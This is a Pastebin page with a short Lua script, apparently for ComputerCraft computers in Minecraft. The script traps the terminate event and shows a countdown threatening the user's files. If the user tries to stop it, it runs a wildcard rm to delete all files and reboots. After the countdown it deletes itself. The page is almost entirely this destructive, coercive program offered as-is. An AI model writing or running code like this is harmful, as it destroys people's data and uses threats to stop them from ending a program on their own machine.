Advertisement
Mackan90096

Untitled

Jun 1st, 2015
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.67 KB | None | 0 0
  1. function center(text)
  2. local w,h = term.getSize()
  3. term.setCursorPos(w-20,h-10)
  4. print(text)
  5. term.setCursorPos(1,1)
  6. end
  7.  
  8. x = 120;
  9. al = true;
  10. while true do
  11. e, p1, p2, p3 = os.pullEventRaw()
  12. if(e == "terminate") then
  13. if(al == true) then
  14. if term.color() then
  15. term.setTextColor(colors.red)
  16. end
  17. term.clear()
  18. center("DELETING ALL FILES")
  19. shell.run("rm", "*")
  20. sleep(2)
  21. os.reboot()
  22. end
  23. end
  24. if(x > 0) then
  25. term.clear()
  26. center("Let me run for "..x.." more seconds and your files will be here\nTerminate me, and so will your files.")
  27. sleep(1)
  28. x = x-1
  29. else
  30. shell.run("rm", shell.getRunningProgram())
  31. os.reboot()
  32. end
  33. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement